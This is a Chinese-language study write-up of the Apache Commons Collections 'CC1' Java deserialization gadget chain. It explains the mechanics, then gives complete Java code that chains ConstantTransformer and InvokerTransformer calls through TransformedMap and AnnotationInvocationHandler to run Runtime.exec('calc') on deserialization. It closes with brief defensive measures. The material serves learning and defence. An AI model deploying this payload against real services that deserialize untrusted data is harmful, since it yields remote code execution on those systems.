CC1链学习分析
字数 1393 2025-08-29 08:30:18
Apache Commons Collections反序列化漏洞(CC1链)分析
前置知识
1. Java反序列化机制
- 构造方法不执行:反序列化通过
ObjectInputStream读取字节流重建对象,不会调用类的任何构造方法 readObject方法调用:如果类实现了Serializable接口并自定义了readObject方法,反序列化时会调用该方法- 类加载要求:服务器必须能够找到并加载反序列化所需的类定义,否则会抛出
ClassNotFoundException
2. 反序列化实现RCE的条件
- 存在可以接受任意对象进行反序列化的入口点
- 能够执行任意对象的
readObject方法 readObject方法中可写入自定义逻辑
CC1链分析
1. 核心组件
Transformer接口
package org.apache.commons.collections;
public interface Transformer {
Object transform(Object var1);
}
InvokerTransformer实现
关键代码:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
// 异常处理
}
}
攻击示例:
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
.transform(Runtime.getRuntime());
TransformedMap类
关键方法:
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
使用方式:
Map<Object, Object> decorate = TransformedMap.decorate(map, null, transformer);
AnnotationInvocationHandler类
关键点:
- 包含
readObject方法 - 在反序列化过程中会调用
setValue方法 - 不是public类,需要通过反射实例化
2. 完整攻击链构建
初始攻击尝试
Runtime runtime = Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap();
map.put("a", "b");
Map<Object, Object> decorate = TransformedMap.decorate(map, null, exec);
for(Map.Entry entry: decorate.entrySet()){
entry.setValue(runtime);
}
遇到的问题及解决方案
-
Runtime未序列化问题:
- 使用反射获取Runtime实例
- 通过Class类(可序列化)间接调用
-
AnnotationInvocationHandler检查问题:
- 需要使用包含"value"成员的注解类(如Target.class)
- 确保map中包含"value"键
-
值被覆盖问题:
- 引入
ConstantTransformer固定返回值
- 引入
最终攻击链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "b");
Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorate);
// 序列化和反序列化触发漏洞
serializable("payload.ser", o);
unserializable("payload.ser");
3. 攻击链执行流程
- 反序列化触发
AnnotationInvocationHandler.readObject readObject调用setValue方法setValue调用TransformedMap.checkSetValuecheckSetValue调用valueTransformer.transformChainedTransformer依次执行:- 返回
Runtime.class - 获取
getRuntime方法 - 调用
getRuntime获取Runtime实例 - 执行
exec("calc")
- 返回
防御措施
- 升级Apache Commons Collections到安全版本
- 使用Java安全管理器限制反序列化
- 对反序列化数据进行严格校验
- 使用白名单控制可反序列化的类
总结
CC1链利用Apache Commons Collections中的Transformer接口和TransformedMap类,通过精心构造的链式调用,在反序列化过程中实现任意代码执行。关键在于:
- 利用
InvokerTransformer实现反射调用 - 通过
TransformedMap将恶意Transformer注入 - 借助
AnnotationInvocationHandler的readObject方法触发整个调用链 - 使用
ConstantTransformer和ChainedTransformer解决执行过程中的各种限制
理解这条攻击链有助于更好地防御Java反序列化漏洞,提高应用安全性。